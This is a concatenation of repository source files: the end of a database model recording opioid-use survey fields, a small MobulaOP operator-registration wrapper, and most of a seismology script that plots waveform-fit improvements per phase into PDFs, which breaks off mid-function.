# Choices: 1, Tablets immediate release | 2, - 15mg | 3, - 30mg | 4, ------------------------------------- | 5, Tablets extended release | 6, - 15mg | 7, - 30mg | 8, - 60mg | 9, - 100mg | 10, - 200mg | 11, ------------------------------- | 12, Liquid - 10mg / 5ml
opioiduseafu_meddosemorph3 = Column(Integer, nullable=True, comments=None)
# 3 What is the dose of your Tapentadol (Nucynta)?
# Field Type: dropdown
# Choices: 1, Tablets immediate release | 2, - 50mg | 3, - 75mg | 4, - 100mg | 5, -------------------------------------- | 6, Tablets extended release | 7, - 50mg | 8, - 100mg | 9, - 150mg | 10, - 200mg | 11, - 250mg
opioiduseafu_meddosetapen3 = Column(Integer, nullable=True, comments=None)
# 3 What is the dose of your Methadone?
# Field Type: dropdown
# Choices: 1, Tablets - 5mg | 2, Tablets - 10mg | 3, Liquid - 10mg/ml
opioiduseafu_meddosemetha3 = Column(Integer, nullable=True, comments=None)
# 3 What is the dose of your Fentanyl (Duragesic)?
# Field Type: dropdown
# Choices: 1, Patch - 12mcg | 2, Patch - 25mcg | 3, Patch - 50mcg | 4, Patch - 75mcg | 5, Patch - 100mcg
opioiduseafu_meddosefenta3 = Column(Integer, nullable=True, comments=None)
# 3 Over the past week, how many pills did you take in total?
# Field Type: text
# Choices: N/A
opioiduseafudrug3quanta = Column(String, nullable=True, comments=None)
# 3 Over the past week, how many teaspoons (1 teaspoon = 5 mL) ...
# Field Type: text
# Choices: N/A
opioiduseafudrug3quantb = Column(String, nullable=True, comments=None)
# 3 Over the past week, how many patches did you apply?
# Field Type: text
# Choices: N/A
opioiduseafudrug3quantc = Column(String, nullable=True, comments=None)
# 3.a The name of other opioid medication
# Field Type: text
# Choices: N/A
opioiduseafuotherdrug3nm = Column(String, nullable=True, comments=None)
# 3.b The dose of other opioid medication
# Field Type: text
# Choices: N/A
opioiduseafudose_oth3 = Column(String, nullable=True, comments=None)
| 71.56338
| 472
| 0.652759
| 1,966
| 15,243
| 5.027467
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| 0.834783
| 0.815156
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| 0
| 0.080667
| 0.208686
| 15,243
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| 473
| 71.900943
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| 0
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| 0
| 0
| 0
| 0
|
0
| 7
|
06ffc4cba66f2ffd8ccce8cac7dc6fd09f5bfa59
| 239
|
py
|
Python
|
mobula/op/register.py
|
hustzxd/MobulaOP
|
49e4062f6578b31918ddcc613e38e0fbb92bb015
|
[
"MIT"
] | 161
|
2018-05-07T13:30:31.000Z
|
2022-01-05T09:39:44.000Z
|
mobula/op/register.py
|
hustzxd/MobulaOP
|
49e4062f6578b31918ddcc613e38e0fbb92bb015
|
[
"MIT"
] | 88
|
2018-05-14T21:06:30.000Z
|
2020-09-27T10:48:08.000Z
|
mobula/op/register.py
|
hustzxd/MobulaOP
|
49e4062f6578b31918ddcc613e38e0fbb92bb015
|
[
"MIT"
] | 23
|
2018-07-19T12:40:00.000Z
|
2020-08-24T01:02:29.000Z
|
"""Register for Custom Operator."""
from .. import glue
def register(*args, **kwargs):
"""The Wrapper to regiser Custom Operator
Parameters
----------
*args
**kwargs
"""
return glue.register(*args, **kwargs)
| 17.071429
| 45
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0
| 7
|
6605749a126c0eb218f212e611aaaf01cf277a11
| 50,270
|
py
|
Python
|
seisflow/scripts/plot/compare_phases_improvements.py
|
ziyixi/seisflow
|
722c2445f4a5316f42bfbc8b9010d31caad4c76e
|
[
"BSD-3-Clause"
] | 2
|
2021-05-17T13:17:10.000Z
|
2022-01-14T02:51:35.000Z
|
seisflow/scripts/plot/compare_phases_improvements.py
|
ziyixi/seisflow
|
722c2445f4a5316f42bfbc8b9010d31caad4c76e
|
[
"BSD-3-Clause"
] | null | null | null |
seisflow/scripts/plot/compare_phases_improvements.py
|
ziyixi/seisflow
|
722c2445f4a5316f42bfbc8b9010d31caad4c76e
|
[
"BSD-3-Clause"
] | null | null | null |
"""
compare_phases_improvements.py: for each phase, generate a pdf file to see the waveform improvements.
"""
# ! this is a very ugly script, I will consider to reconstruct it in the future.
from os.path import basename, join
import click
import matplotlib as mpl
import matplotlib.backends.backend_pdf
import matplotlib.pyplot as plt
import numpy as np
import obspy
import pyasdf
import tqdm
from ...utils.load_files import load_pickle
from .compare_two_asdf_with_windows import build_to_plot_traces, to_plot_trace
label_size = 25
mpl.rcParams['xtick.labelsize'] = label_size
phases_zr = ["P", "pP", "sP"]
phases_zrt = ["S", "sS"]
phases_t = ["ScS"]
phases_surface = ["surface_z", "surface_r", "surface_t"]
# map the phase name to the time name
name_mapper_time = {
"P": "p",
"pP": "pp",
"sP": "sp",
"S": "s",
"sS": "ss",
"ScS": "scs"
}
name_mapper_windows = {
"P": ["P"],
"pP": ["pP", "PP"],
"sP": ["sP"],
"S": ["S"],
"sS": ["sS", "SS"],
"ScS": ["ScS"]
}
def check_usable(windows_dict, phase_name, key, snr, cc, deltat, status_dict):
"""
check if this net_sta in usable.
"""
to_plot = False
phase_name_list = name_mapper_windows[phase_name]
windows_this_net_sta = windows_dict[key]
for each_phase in phase_name_list:
for each_component in windows_this_net_sta:
thewindows = windows_this_net_sta[each_component].windows
for each_window in thewindows:
if (each_phase in each_window.phases):
if ((each_window.snr_energy >= snr) and (each_window.cc >= cc) and (np.abs(each_window.deltat) <= deltat)):
to_plot = True
status_dict[key][each_component] = True
return to_plot
def check_usable_surface(windows_dict, key, snr, cc, deltat, status_dict):
"""
check if this net_sta in usable.
"""
to_plot = False
windows_this_net_sta = windows_dict[key]
for phase_name in phases_surface:
if (len(windows_this_net_sta[phase_name].windows) == 0):
return False
thewindow = windows_this_net_sta[phase_name].windows[0]
if ((thewindow.snr_energy >= snr) and (thewindow.cc >= cc) and (np.abs(thewindow.deltat) <= deltat)):
to_plot = True
status_dict[key][phase_name] = True
return to_plot
def slice_to_plot_traces_surface(value_1, value_2, windows_each_key):
# "obs_z", "syn_z", "obs_r", "syn_r", "obs_t", "syn_t"
sliced_value_1 = to_plot_trace(None, None, None, None, None, None, None)
sliced_value_2 = to_plot_trace(None, None, None, None, None, None, None)
sliced_value_1.info = value_1.info
sliced_value_2.info = value_2.info
# * now we get the starttime and the endtime
left = windows_each_key["surface_z"].windows[0].left
right = windows_each_key["surface_z"].windows[0].right
# * surface_z component
sliced_value_1.obs_z = value_1.obs_z.slice(
left, right).copy()
sliced_value_2.obs_z = value_2.obs_z.slice(
left, right).copy()
sliced_value_1.syn_z = value_1.syn_z.slice(
left, right).copy()
sliced_value_2.syn_z = value_2.syn_z.slice(
left, right).copy()
normalize_st = obspy.Stream()+sliced_value_1.obs_z + \
sliced_value_2.obs_z + sliced_value_1.syn_z + sliced_value_2.syn_z
normalize_st.normalize(global_max=True)
# * surface_r component
sliced_value_1.obs_r = value_1.obs_r.slice(
left, right).copy()
sliced_value_2.obs_r = value_2.obs_r.slice(
left, right).copy()
sliced_value_1.syn_r = value_1.syn_r.slice(
left, right).copy()
sliced_value_2.syn_r = value_2.syn_r.slice(
left, right).copy()
normalize_st = obspy.Stream()+sliced_value_1.obs_r + \
sliced_value_2.obs_r + sliced_value_1.syn_r + sliced_value_2.syn_r
# * surface_t component
sliced_value_1.obs_t = value_1.obs_t.slice(
left, right).copy()
sliced_value_2.obs_t = value_2.obs_t.slice(
left, right).copy()
sliced_value_1.syn_t = value_1.syn_t.slice(
left, right).copy()
sliced_value_2.syn_t = value_2.syn_t.slice(
left, right).copy()
normalize_st = obspy.Stream()+sliced_value_1.obs_t + \
sliced_value_2.obs_t + sliced_value_1.syn_t + sliced_value_2.syn_t
normalize_st.normalize(global_max=True)
# * return
return sliced_value_1, sliced_value_2
def slice_to_plot_traces(value_1, value_2, phase_name):
"""
for all the components, we slice for the given phase_name
"""
phase_name_used = name_mapper_time[phase_name]
thetime = value_1.info[phase_name_used]
if(thetime == None):
return None, None
eventtime = value_1.info["eventtime"]
# "obs_z", "syn_z", "obs_r", "syn_r", "obs_t", "syn_t"
sliced_value_1 = to_plot_trace(None, None, None, None, None, None, None)
sliced_value_2 = to_plot_trace(None, None, None, None, None, None, None)
sliced_value_1.info = value_1.info
sliced_value_2.info = value_2.info
# ! fix bugs here, note we have to copy the sliced data here as they will be used later. (but still in the same memory space)
sliced_value_1.obs_z = value_1.obs_z.slice(
eventtime+thetime-20, eventtime+thetime+50).copy()
sliced_value_2.obs_z = value_2.obs_z.slice(
eventtime+thetime-20, eventtime+thetime+50).copy()
sliced_value_1.syn_z = value_1.syn_z.slice(
eventtime+thetime-20, eventtime+thetime+50).copy()
sliced_value_2.syn_z = value_2.syn_z.slice(
eventtime + thetime - 20, eventtime + thetime + 50).copy()
normalize_st = obspy.Stream()+sliced_value_1.obs_z + \
sliced_value_2.obs_z + sliced_value_1.syn_z + sliced_value_2.syn_z
normalize_st.normalize(global_max=True)
sliced_value_1.obs_r = value_1.obs_r.slice(
eventtime+thetime-20, eventtime+thetime+50).copy()
sliced_value_1.syn_r = value_1.syn_r.slice(
eventtime+thetime-20, eventtime+thetime+50).copy()
sliced_value_2.obs_r = value_2.obs_r.slice(
eventtime+thetime-20, eventtime+thetime+50).copy()
sliced_value_2.syn_r = value_2.syn_r.slice(
eventtime + thetime - 20, eventtime + thetime + 50).copy()
normalize_st = obspy.Stream()+sliced_value_1.obs_r + \
sliced_value_2.obs_r + sliced_value_1.syn_r + sliced_value_2.syn_r
normalize_st.normalize(global_max=True)
sliced_value_1.obs_t = value_1.obs_t.slice(
eventtime+thetime-20, eventtime+thetime+50).copy()
sliced_value_1.syn_t = value_1.syn_t.slice(
eventtime+thetime-20, eventtime+thetime+50).copy()
sliced_value_2.obs_t = value_2.obs_t.slice(
eventtime+thetime-20, eventtime+thetime+50).copy()
sliced_value_2.syn_t = value_2.syn_t.slice(
eventtime + thetime - 20, eventtime + thetime + 50).copy()
normalize_st = obspy.Stream()+sliced_value_1.obs_t + \
sliced_value_2.obs_t + sliced_value_1.syn_t + sliced_value_2.syn_t
normalize_st.normalize(global_max=True)
return sliced_value_1, sliced_value_2
def build_plottting_structure(plot_traces_1, plot_traces_2, azimuth_width, windows_dict, phase_name, snr, cc, deltat):
# we assume 360%azimuth_width==0
num_azimuths = 360//azimuth_width
result = [[] for i in range(num_azimuths)]
# for each item in plot_traces, seprate them into different []
# since sync has the same net_sta list, we can use key directly from plot_traces_1
# the status_dict used to see if this trace is usable
status_dict = {}
for key in plot_traces_1:
status_dict[key] = {}
if (check_usable(windows_dict, phase_name, key, snr, cc, deltat, status_dict) == False):
continue
value_1 = plot_traces_1[key]
value_2 = plot_traces_2[key]
# we should slice to the desired window
sliced_value_1, sliced_value2 = slice_to_plot_traces(
value_1, value_2, phase_name)
if((sliced_value_1 == None) and (sliced_value2 == None)):
continue
info = value_1.info
azimuth = info["azimuth"]
index_azimuth = int(azimuth//azimuth_width)
result[index_azimuth].append((key, sliced_value_1, sliced_value2))
# for each azimuth bin, sort them according to the gcarc
def sort_func(item):
return item[1].info["gcarc"]
for index_azimuth in range(num_azimuths):
result[index_azimuth] = sorted(result[index_azimuth], key=sort_func)
return result, status_dict
def build_plottting_structure_surface(plot_traces_1, plot_traces_2, azimuth_width, windows_dict, snr, cc, deltat):
# we assume 360%azimuth_width==0
num_azimuths = 360//azimuth_width
result = [[] for i in range(num_azimuths)]
# for each item in plot_traces, seprate them into different []
# since sync has the same net_sta list, we can use key directly from plot_traces_1
# the status_dict used to see if this trace is usable
status_dict = {}
for key in plot_traces_1:
status_dict[key] = {}
if (check_usable_surface(windows_dict, key, snr, cc, deltat, status_dict) == False):
continue
value_1 = plot_traces_1[key]
value_2 = plot_traces_2[key]
# we should slice to the desired window
sliced_value_1, sliced_value2 = slice_to_plot_traces_surface(
value_1, value_2, windows_dict[key])
info = value_1.info
azimuth = info["azimuth"]
index_azimuth = int(azimuth//azimuth_width)
result[index_azimuth].append((key, sliced_value_1, sliced_value2))
# for each azimuth bin, sort them according to the gcarc
def sort_func(item):
return item[1].info["gcarc"]
for index_azimuth in range(num_azimuths):
result[index_azimuth] = sorted(result[index_azimuth], key=sort_func)
return result, status_dict
def kernel(obs_asdf, syn_asdf_1, syn_asdf_2, azimuth_width, output_dir, waves_perpage,
info_dir, misfit_windows_path_1, misfit_windows_path_2, snr, cc, deltat, use_tqdm, with_surface):
"""
for each phase, find if the phase window is avaliable or not, and plot them into a pdf file.
"""
obs_ds = pyasdf.ASDFDataSet(obs_asdf, mode="r", mpi=False)
syn_ds_1 = pyasdf.ASDFDataSet(syn_asdf_1, mode="r", mpi=False)
syn_ds_2 = pyasdf.ASDFDataSet(syn_asdf_2, mode="r", mpi=False)
windows_dict_1 = load_pickle(misfit_windows_path_1)
windows_dict_2 = load_pickle(misfit_windows_path_2)
# get pdf base name
pdf_base = ".".join(basename(obs_asdf).split(".")[:2])
plot_traces_1, _ = build_to_plot_traces(
obs_ds, syn_ds_1, info_dir)
plot_traces_2, _ = build_to_plot_traces(
obs_ds, syn_ds_2, info_dir)
num_azimuths = 360 // azimuth_width
# * firstly we generate all the plotting_structure and status_dict
if(not with_surface):
plotting_structure_dict = {}
status_dict_dict = {}
for each_phase in (phases_zr + phases_zrt + phases_t):
plotting_structure, status_dict = build_plottting_structure(
plot_traces_1, plot_traces_2, azimuth_width, windows_dict_1, each_phase, snr, cc, deltat)
plotting_structure_dict[each_phase] = plotting_structure
status_dict_dict[each_phase] = status_dict
# * and if possible, we should build the surface plotting structure
if (with_surface):
plotting_structure_dict_surface, status_dict_surface = build_plottting_structure_surface(
plot_traces_1, plot_traces_2, azimuth_width, windows_dict_1, snr, cc, deltat)
# * get the tqdm count
count = 0
if (use_tqdm):
if(not with_surface):
for each_phase in (phases_zr + phases_zrt + phases_t):
plotting_structure, status_dict = plotting_structure_dict[
each_phase], status_dict_dict[each_phase]
for index_azimuth in range(num_azimuths):
azimuth_bin_plot_traces = plotting_structure[index_azimuth]
num_azimuth_bin_plot_traces = len(azimuth_bin_plot_traces)
# get num_pages for this azimuth bin
if(num_azimuth_bin_plot_traces % waves_perpage == 0):
num_pages = num_azimuth_bin_plot_traces // waves_perpage
else:
num_pages = (num_azimuth_bin_plot_traces //
waves_perpage)+1
for ipage in range(num_pages):
start_index = ipage*waves_perpage
end_index = (ipage+1)*waves_perpage
azimuth_bin_plot_traces_this_page = azimuth_bin_plot_traces[
start_index:end_index]
for index, each_plot_trace_all in enumerate(azimuth_bin_plot_traces_this_page):
count += 1
if (with_surface):
plotting_structure, status_dict = plotting_structure_dict_surface, status_dict_surface
for index_azimuth in range(num_azimuths):
azimuth_bin_plot_traces = plotting_structure[index_azimuth]
num_azimuth_bin_plot_traces = len(azimuth_bin_plot_traces)
# get num_pages for this azimuth bin
if(num_azimuth_bin_plot_traces % waves_perpage == 0):
num_pages = num_azimuth_bin_plot_traces // waves_perpage
else:
num_pages = (num_azimuth_bin_plot_traces //
waves_perpage) + 1
for ipage in range(num_pages):
start_index = ipage*waves_perpage
end_index = (ipage+1)*waves_perpage
azimuth_bin_plot_traces_this_page = azimuth_bin_plot_traces[start_index:end_index]
for index, each_plot_trace_all in enumerate(azimuth_bin_plot_traces_this_page):
count += 1
if(use_tqdm):
t = tqdm.tqdm(total=count)
# * for each phase in phase_zr, we plot the comparision.
if(not with_surface):
for each_phase in (phases_zr+phases_zrt+phases_t):
plotting_structure, status_dict = plotting_structure_dict[
each_phase], status_dict_dict[each_phase]
output_path = join(output_dir, f"{pdf_base}.{each_phase}.pdf")
pdf = matplotlib.backends.backend_pdf.PdfPages(output_path)
for index_azimuth in range(num_azimuths):
azimuth_bin_plot_traces = plotting_structure[index_azimuth]
num_azimuth_bin_plot_traces = len(azimuth_bin_plot_traces)
# get num_pages for this azimuth bin
if(num_azimuth_bin_plot_traces % waves_perpage == 0):
num_pages = num_azimuth_bin_plot_traces // waves_perpage
else:
num_pages = (num_azimuth_bin_plot_traces //
waves_perpage)+1
for ipage in range(num_pages):
start_index = ipage*waves_perpage
end_index = (ipage+1)*waves_perpage
azimuth_bin_plot_traces_this_page = azimuth_bin_plot_traces[start_index:end_index]
fig = plt.figure(figsize=(150, 150))
xticks = None
for index, each_plot_trace_all in enumerate(azimuth_bin_plot_traces_this_page):
if(use_tqdm):
t.update()
if (index == 0):
ax_title = fig.add_subplot(
waves_perpage, 1, 1)
ax_title.set_title(
f"azimuth:{azimuth_width*index_azimuth}-{azimuth_width*(index_azimuth+1)}\npage:{ipage}", fontsize=200)
# * we should plot 4 subplots per row (6 figures spacing)
each_plot_id = each_plot_trace_all[0]
each_plot_trace_1 = each_plot_trace_all[1]
each_plot_trace_2 = each_plot_trace_all[2]
# * firstly we plot the z component
ax_1 = fig.add_subplot(waves_perpage, 6, index * 6 + 1)
ax_2 = fig.add_subplot(
waves_perpage, 6, index * 6 + 2, sharey=ax_1)
# * get the traces
obs = each_plot_trace_1.obs_z
syn_1 = each_plot_trace_1.syn_z
syn_2 = each_plot_trace_2.syn_z
# * now we should get x
x_obs = np.linspace(-20, obs.stats.endtime -
obs.stats.starttime-20, obs.stats.npts)
x_syn_1 = np.linspace(-20, syn_1.stats.endtime -
syn_1.stats.starttime-20, syn_1.stats.npts)
x_syn_2 = np.linspace(-20, syn_2.stats.endtime -
syn_2.stats.starttime-20, syn_2.stats.npts)
y_obs = obs.data
y_syn_1 = syn_1.data
y_syn_2 = syn_2.data
ax_1.plot(x_obs, y_obs, color="k", linewidth=6.0)
ax_1.plot(x_syn_1, y_syn_1, color="b", linewidth=6.0)
ax_2.plot(x_obs, y_obs, color="k", linewidth=6.0)
ax_2.plot(x_syn_2, y_syn_2, color="r", linewidth=6.0)
ax_1.axvline(x=0, color="g",
linestyle='--', linewidth=3.0)
ax_2.axvline(x=0, color="g",
linestyle='--', linewidth=3.0)
windows_list_1 = windows_dict_1[each_plot_id]["z"].windows
windows_list_2 = windows_dict_2[each_plot_id]["z"].windows
each_window_1 = None
for item in windows_list_1:
if (each_phase in item.phases):
each_window_1 = item
break
each_window_2 = None
for item in windows_list_2:
if (each_phase in item.phases):
each_window_2 = item
break
xmin, xmax = ax_1.get_xlim()
x_text = (-20 - xmin) / (xmax - xmin)
if(each_window_1 != None):
ax_1.text(x_text, 0.73, f"snr:{each_window_1.snr_energy:.2f}\ncc:{each_window_1.cc:.2f}\ndeltat:{each_window_1.deltat:.2f}\nsimilarity:{each_window_1.similarity:.2f}",
transform=ax_1.transAxes, fontsize=50)
else:
ax_1.text(x_text, 0.73, f"snr:None\ncc:None\ndeltat:None\nsimilarity:None",
transform=ax_1.transAxes, fontsize=50)
ax_1.text((35 - xmin) / (xmax - xmin), 0.73, f"component:Z\nid:{each_plot_id}\ngcarc:{each_plot_trace_1.info['gcarc']:.2f}\nazimuth:{each_plot_trace_1.info['azimuth']:.2f}",
transform=ax_1.transAxes, fontsize=50)
xmin, xmax = ax_2.get_xlim()
x_text = (-20 - xmin) / (xmax - xmin)
if(each_window_2 != None):
ax_2.text(x_text, 0.73, f"snr:{each_window_2.snr_energy:.2f}\ncc:{each_window_2.cc:.2f}\ndeltat:{each_window_2.deltat:.2f}\nsimilarity:{each_window_2.similarity:.2f}",
transform=ax_2.transAxes, fontsize=50)
else:
ax_2.text(x_text, 0.73, f"snr:None\ncc:None\ndeltat:None\nsimilarity:None",
transform=ax_2.transAxes, fontsize=50)
ax_2.text((35 - xmin) / (xmax - xmin), 0.73, f"component:Z\nid:{each_plot_id}\ngcarc:{each_plot_trace_2.info['gcarc']:.2f}\nazimuth:{each_plot_trace_2.info['azimuth']:.2f}",
transform=ax_2.transAxes, fontsize=50)
if (("z" in status_dict[each_plot_id]) and (status_dict[each_plot_id]["z"])):
ax_1.axvspan(xmin, xmax,
alpha=0.10, color='green')
ax_2.axvspan(xmin, xmax,
alpha=0.10, color='green')
else:
ax_1.axvspan(xmin, xmax,
alpha=0.10, color='red')
ax_2.axvspan(xmin, xmax,
alpha=0.10, color='red')
ax_1.get_yaxis().set_ticklabels([])
ax_2.get_yaxis().set_ticklabels([])
ax_1.spines["top"].set_visible(False)
ax_1.spines["right"].set_visible(False)
ax_1.spines["bottom"].set_visible(False)
ax_1.spines["left"].set_visible(False)
ax_2.spines["top"].set_visible(False)
ax_2.spines["right"].set_visible(False)
ax_2.spines["bottom"].set_visible(False)
ax_2.spines["left"].set_visible(False)
xticks = np.arange(
np.min(x_obs), np.max(x_obs) + 1, 10)
ax_1.set_xticks(xticks)
ax_2.set_xticks(xticks)
ax_1.tick_params(axis="x", labelsize=100)
ax_2.tick_params(axis="x", labelsize=100)
# * and we plot the r component
ax_1 = fig.add_subplot(waves_perpage, 6, index * 6 + 3)
ax_2 = fig.add_subplot(
waves_perpage, 6, index * 6 + 4, sharey=ax_1)
# * get the traces
obs = each_plot_trace_1.obs_r
syn_1 = each_plot_trace_1.syn_r
syn_2 = each_plot_trace_2.syn_r
# * now we should get x
x_obs = np.linspace(-20, obs.stats.endtime -
obs.stats.starttime-20, obs.stats.npts)
x_syn_1 = np.linspace(-20, syn_1.stats.endtime -
syn_1.stats.starttime-20, syn_1.stats.npts)
x_syn_2 = np.linspace(-20, syn_2.stats.endtime -
syn_2.stats.starttime-20, syn_2.stats.npts)
y_obs = obs.data
y_syn_1 = syn_1.data
y_syn_2 = syn_2.data
ax_1.plot(x_obs, y_obs, color="k", linewidth=6.0)
ax_1.plot(x_syn_1, y_syn_1, color="b", linewidth=6.0)
ax_2.plot(x_obs, y_obs, color="k", linewidth=6.0)
ax_2.plot(x_syn_2, y_syn_2, color="r", linewidth=6.0)
ax_1.axvline(x=0, color="g",
linestyle='--', linewidth=3.0)
ax_2.axvline(x=0, color="g",
linestyle='--', linewidth=3.0)
windows_list_1 = windows_dict_1[each_plot_id]["r"].windows
windows_list_2 = windows_dict_2[each_plot_id]["r"].windows
each_window_1 = None
for item in windows_list_1:
if (each_phase in item.phases):
each_window_1 = item
break
each_window_2 = None
for item in windows_list_2:
if (each_phase in item.phases):
each_window_2 = item
break
xmin, xmax = ax_1.get_xlim()
x_text = (-20 - xmin) / (xmax - xmin)
if(each_window_1 != None):
ax_1.text(x_text, 0.73, f"snr:{each_window_1.snr_energy:.2f}\ncc:{each_window_1.cc:.2f}\ndeltat:{each_window_1.deltat:.2f}\nsimilarity:{each_window_1.similarity:.2f}",
transform=ax_1.transAxes, fontsize=50)
else:
ax_1.text(x_text, 0.73, f"snr:None\ncc:None\ndeltat:None\nsimilarity:None",
transform=ax_1.transAxes, fontsize=50)
ax_1.text((35 - xmin) / (xmax - xmin), 0.73, f"component:R\nid:{each_plot_id}\ngcarc:{each_plot_trace_1.info['gcarc']:.2f}\nazimuth:{each_plot_trace_1.info['azimuth']:.2f}",
transform=ax_1.transAxes, fontsize=50)
xmin, xmax = ax_2.get_xlim()
x_text = (-20 - xmin) / (xmax - xmin)
if(each_window_2 != None):
ax_2.text(x_text, 0.73, f"snr:{each_window_2.snr_energy:.2f}\ncc:{each_window_2.cc:.2f}\ndeltat:{each_window_2.deltat:.2f}\nsimilarity:{each_window_2.similarity:.2f}",
transform=ax_2.transAxes, fontsize=50)
else:
ax_2.text(x_text, 0.73, f"snr:None\ncc:None\ndeltat:None\nsimilarity:None",
transform=ax_2.transAxes, fontsize=50)
ax_2.text((35 - xmin) / (xmax - xmin), 0.73, f"component:R\nid:{each_plot_id}\ngcarc:{each_plot_trace_2.info['gcarc']:.2f}\nazimuth:{each_plot_trace_2.info['azimuth']:.2f}",
transform=ax_2.transAxes, fontsize=50)
if (("r" in status_dict[each_plot_id]) and (status_dict[each_plot_id]["r"])):
ax_1.axvspan(xmin, xmax,
alpha=0.10, color='green')
ax_2.axvspan(xmin, xmax,
alpha=0.10, color='green')
else:
ax_1.axvspan(xmin, xmax,
alpha=0.10, color='red')
ax_2.axvspan(xmin, xmax,
alpha=0.10, color='red')
ax_1.get_yaxis().set_ticklabels([])
ax_2.get_yaxis().set_ticklabels([])
ax_1.spines["top"].set_visible(False)
ax_1.spines["right"].set_visible(False)
ax_1.spines["bottom"].set_visible(False)
ax_1.spines["left"].set_visible(False)
ax_2.spines["top"].set_visible(False)
ax_2.spines["right"].set_visible(False)
ax_2.spines["bottom"].set_visible(False)
ax_2.spines["left"].set_visible(False)
xticks = np.arange(
np.min(x_obs), np.max(x_obs) + 1, 10)
ax_1.set_xticks(xticks)
ax_2.set_xticks(xticks)
ax_1.tick_params(axis="x", labelsize=100)
ax_2.tick_params(axis="x", labelsize=100)
# * and we plot the t component
ax_1 = fig.add_subplot(waves_perpage, 6, index * 6 + 5)
ax_2 = fig.add_subplot(
waves_perpage, 6, index * 6 + 6, sharey=ax_1)
# * get the traces
obs = each_plot_trace_1.obs_t
syn_1 = each_plot_trace_1.syn_t
syn_2 = each_plot_trace_2.syn_t
# * now we should get x
x_obs = np.linspace(-20, obs.stats.endtime -
obs.stats.starttime-20, obs.stats.npts)
x_syn_1 = np.linspace(-20, syn_1.stats.endtime -
syn_1.stats.starttime-20, syn_1.stats.npts)
x_syn_2 = np.linspace(-20, syn_2.stats.endtime -
syn_2.stats.starttime-20, syn_2.stats.npts)
y_obs = obs.data
y_syn_1 = syn_1.data
y_syn_2 = syn_2.data
ax_1.plot(x_obs, y_obs, color="k", linewidth=6.0)
ax_1.plot(x_syn_1, y_syn_1, color="b", linewidth=6.0)
ax_2.plot(x_obs, y_obs, color="k", linewidth=6.0)
ax_2.plot(x_syn_2, y_syn_2, color="r", linewidth=6.0)
ax_1.axvline(x=0, color="g",
linestyle='--', linewidth=3.0)
ax_2.axvline(x=0, color="g",
linestyle='--', linewidth=3.0)
windows_list_1 = windows_dict_1[each_plot_id]["t"].windows
windows_list_2 = windows_dict_2[each_plot_id]["t"].windows
each_window_1 = None
for item in windows_list_1:
if (each_phase in item.phases):
each_window_1 = item
break
each_window_2 = None
for item in windows_list_2:
if (each_phase in item.phases):
each_window_2 = item
break
xmin, xmax = ax_1.get_xlim()
x_text = (-20 - xmin) / (xmax - xmin)
if(each_window_1 != None):
ax_1.text(x_text, 0.73, f"snr:{each_window_1.snr_energy:.2f}\ncc:{each_window_1.cc:.2f}\ndeltat:{each_window_1.deltat:.2f}\nsimilarity:{each_window_1.similarity:.2f}",
transform=ax_1.transAxes, fontsize=50)
else:
ax_1.text(x_text, 0.73, f"snr:None\ncc:None\ndeltat:None\nsimilarity:None",
transform=ax_1.transAxes, fontsize=50)
ax_1.text((35 - xmin) / (xmax - xmin), 0.73, f"component:T\nid:{each_plot_id}\ngcarc:{each_plot_trace_1.info['gcarc']:.2f}\nazimuth:{each_plot_trace_1.info['azimuth']:.2f}",
transform=ax_1.transAxes, fontsize=50)
xmin, xmax = ax_2.get_xlim()
x_text = (-20 - xmin) / (xmax - xmin)
if(each_window_2 != None):
ax_2.text(x_text, 0.73, f"snr:{each_window_2.snr_energy:.2f}\ncc:{each_window_2.cc:.2f}\ndeltat:{each_window_2.deltat:.2f}\nsimilarity:{each_window_2.similarity:.2f}",
transform=ax_2.transAxes, fontsize=50)
else:
ax_2.text(x_text, 0.73, f"snr:None\ncc:None\ndeltat:None\nsimilarity:None",
transform=ax_2.transAxes, fontsize=50)
ax_2.text((35 - xmin) / (xmax - xmin), 0.73, f"component:T\nid:{each_plot_id}\ngcarc:{each_plot_trace_2.info['gcarc']:.2f}\nazimuth:{each_plot_trace_2.info['azimuth']:.2f}",
transform=ax_2.transAxes, fontsize=50)
if (("t" in status_dict[each_plot_id]) and (status_dict[each_plot_id]["t"])):
ax_1.axvspan(xmin, xmax,
alpha=0.10, color='green')
ax_2.axvspan(xmin, xmax,
alpha=0.10, color='green')
else:
ax_1.axvspan(xmin, xmax,
alpha=0.10, color='red')
ax_2.axvspan(xmin, xmax,
alpha=0.10, color='red')
ax_1.get_yaxis().set_ticklabels([])
ax_2.get_yaxis().set_ticklabels([])
ax_1.spines["top"].set_visible(False)
ax_1.spines["right"].set_visible(False)
ax_1.spines["bottom"].set_visible(False)
ax_1.spines["left"].set_visible(False)
ax_2.spines["top"].set_visible(False)
ax_2.spines["right"].set_visible(False)
ax_2.spines["bottom"].set_visible(False)
ax_2.spines["left"].set_visible(False)
xticks = np.arange(
np.min(x_obs), np.max(x_obs) + 1, 10)
ax_1.set_xticks(xticks)
ax_2.set_xticks(xticks)
ax_1.tick_params(axis="x", labelsize=100)
ax_2.tick_params(axis="x", labelsize=100)
plt.subplots_adjust(wspace=0, hspace=0, top=0.85)
fig.tight_layout()
pdf.savefig(fig)
plt.close(fig=fig)
pdf.close()
# * plot the surface waves
if(with_surface):
plotting_structure, status_dict = plotting_structure_dict_surface, status_dict_surface
output_path = join(output_dir, f"{pdf_base}.surface.pdf")
pdf = matplotlib.backends.backend_pdf.PdfPages(output_path)
for index_azimuth in range(num_azimuths):
azimuth_bin_plot_traces = plotting_structure[index_azimuth]
num_azimuth_bin_plot_traces = len(azimuth_bin_plot_traces)
# get num_pages for this azimuth bin
if(num_azimuth_bin_plot_traces % waves_perpage == 0):
num_pages = num_azimuth_bin_plot_traces // waves_perpage
else:
num_pages = (num_azimuth_bin_plot_traces // waves_perpage) + 1
for ipage in range(num_pages):
start_index = ipage*waves_perpage
end_index = (ipage+1)*waves_perpage
azimuth_bin_plot_traces_this_page = azimuth_bin_plot_traces[start_index:end_index]
fig = plt.figure(figsize=(150, 150))
xticks = None
for index, each_plot_trace_all in enumerate(azimuth_bin_plot_traces_this_page):
if(use_tqdm):
t.update()
if (index == 0):
ax_title = fig.add_subplot(
waves_perpage, 1, 1)
ax_title.set_title(
f"azimuth:{azimuth_width*index_azimuth}-{azimuth_width*(index_azimuth+1)}\npage:{ipage}", fontsize=200)
# * we should plot 4 subplots per row (6 figures spacing)
each_plot_id = each_plot_trace_all[0]
each_plot_trace_1 = each_plot_trace_all[1]
each_plot_trace_2 = each_plot_trace_all[2]
# * firstly we plot the surface_z component
ax_1 = fig.add_subplot(waves_perpage, 6, index * 6 + 1)
